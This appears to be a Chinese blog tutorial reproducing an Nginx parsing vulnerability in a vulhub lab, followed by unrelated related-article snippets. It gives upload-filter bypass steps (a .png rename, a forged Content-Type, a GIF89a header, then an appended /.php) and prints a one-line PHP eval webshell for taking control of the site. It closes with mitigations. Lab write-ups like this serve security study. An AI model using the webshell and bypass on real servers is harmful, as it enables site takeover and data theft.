中间件安全:Nginx 解析漏洞测试.

news/2024/10/10 22:32:35/

中间件安全:Nginx 解析漏洞测试.

Nginx 是一个高性能的 HTTP和 反向代理服务器,Nginx 解析漏洞是一个由于配置不当导致的安全问题,它不依赖于Nginx或PHP的特定版本,而是由于用户配置错误造成的。这个漏洞允许攻击者上传看似无害的文件,例如图片格式的文件,但实际上这些文件中包含了PHP代码。当这些文件被请求时,由于配置错误,Nginx会将这些文件作为PHP文件执行,从而可能允许攻击者执行任意代码


目录:

中间件安全:Nginx 解析漏洞测试.

漏洞的危害:

靶场搭建:

(1)切换到环境目录.

(2)开启环境.

(3)直接访问目标主机的 IP 地址就行.

Nginx 解析漏洞测试:

(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.

(2)我们进行抓包,把修改文件后缀名png

(3)访问我们上传的文件是否存在.

提高控制权,上传 webshell 

(1)写一个 Webshell 的连接.

(2)上传进行抓包,修改文件后缀名png

(3)访问我们上传的文件是否存在.

(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php

(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.

防御措施:

(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。

(2)在系统上线前对敏感配置文件进行检查。

(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0


漏洞的危害:

(1)攻击者可以绕过文件上传的检测,上传恶意文件。

(2)攻击者可以利用该漏洞执行系统命令,窃取或篡改数据。

(3)攻击者可能在服务器上留下后门,进一步控制服务器或内网。


靶场搭建:

环境搭建:Web安全:iwebsec || vulhub 靶场搭建.


(1)切换到环境目录.
vulhub/nginx/nginx_parsing_vulnerability


(2)开启环境.
sudo docker-compose up -d


(3)直接访问目标主机的 IP 地址就行.


Nginx 解析漏洞测试:

(1)如果我上传一个 PHP 文件进去,他会显示请上传一个正常图片文件.


(2)我们进行抓包,把修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a 


(3)访问我们上传的文件是否存在.


(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php


提高控制权,上传 webshell 

(1)写一个 Webshell 的连接.
<?php                                //一句话木马程序@eval($_POST['bgxg']);
?>

(2)上传进行抓包,修改文件后缀名png,Content-Type 类型为 image/png,最后在文件内容的头部添加 GIF89a


(3)访问我们上传的文件是否存在.


(4)测试是否存在 Nginx 解析漏洞,在图片后面的 URL 中添加:/.php


(5)使用连接工具进行连接上传的 Webshell 拿到网站控制权.


防御措施:

(1)使用规范化、模板化的配置文件,并确保它们经过安全测试。
(2)在系统上线前对敏感配置文件进行检查。
(3)将 php.ini 文件中的 cgi.fix_pathinfo 的值设为 0

    

    

    


http://www.ppmy.cn/news/1503264.html

相关文章

URL重写

目录 步骤1 规则语法 Nginx URL重写规则语法 Apache URL重写规则语法 步骤2 规则配置 Apache URL重写规则配置 启用mod_rewrite模块 配置.htaccess文件 编写重写规则 测试重写规则 Nginx URL重写规则配置 配置server或location块 测试重写规则 步骤1 规则语法 Ngin…

【Maven】 的继承机制

Maven是一个强大的项目管理工具&#xff0c;主要用于Java项目的构建和管理。它以其项目对象模型&#xff08;POM&#xff09;为基础&#xff0c;允许开发者定义项目的依赖、构建过程和插件。Maven的继承机制是其核心特性之一&#xff0c;它允许子项目继承和复用父项目的配置&am…

多态、接口、类练习题

代码&#xff1a; public static void main(String[] args) {Person2 personnew Person2("唐僧",new Horse());person.passRiver();person.onRoad();} 接口&#xff1a; interface Vehicles{public void work(); } lass Horse implements Vehicles{Overridepubli…

《从零开始做个摸鱼小网站! · 序》灵感来源

序 大家好呀&#xff0c;我是summo&#xff0c;这次来写写我在上班空闲(摸鱼)的时候做的一个小网站的事。去年阿里云不是推出了个活动嘛&#xff0c;2核2G的云服务器一年只要99块钱&#xff0c;懂行的人应该知道这个价格在业界已经是非常良心了&#xff0c;虽然优惠只有一年&a…

vue3 【自定义事件】mitt 实用教程 (可用于跨组件通信)

官网 https://github.com/developit/mitt 安装 mitt npm i --save mitt创建文件 src/emitter.js import mitt from "mitt";export default mitt();mitt 的核心语法 // 创建事件 foo emitter.emit(foo, { a: b })// 监听事件 foo emitter.on(foo, e > console.log(…

公布一批脸书爬虫(facebook)IP地址,真实采集数据

一、数据来源&#xff1a; 1、这批脸书爬虫&#xff08;facebook&#xff09;IP来源于尚贤达猎头公司网站采集数据&#xff1b; ​ 2、数据采集时间段&#xff1a;2023年10月-2024年7月&#xff1b; 3、判断标准&#xff1a;主要根据用户代理是否包含“facebook”和IP核实。…

【漏洞复现】APP分发签名系统index-uplog.php存在任意文件上传漏洞

漏洞描述 APP分发签名系统index-uplog.php存在任意文件上传漏洞 免责声明 技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵…

HashMap 面试题整理

HashMap 面试题整理 介绍下 HashMap 的底层数据结构 在 JDK1.7 和 JDK1.8 中有所差别&#xff1a; 在 JDK1.7 中&#xff0c;由“数组链表”组成&#xff0c;数组是 HashMap 的主体&#xff0c;链表则是主要为了解决哈希冲突而存在的。 在 JDK1.8 &#xff0c;由“数组链表红…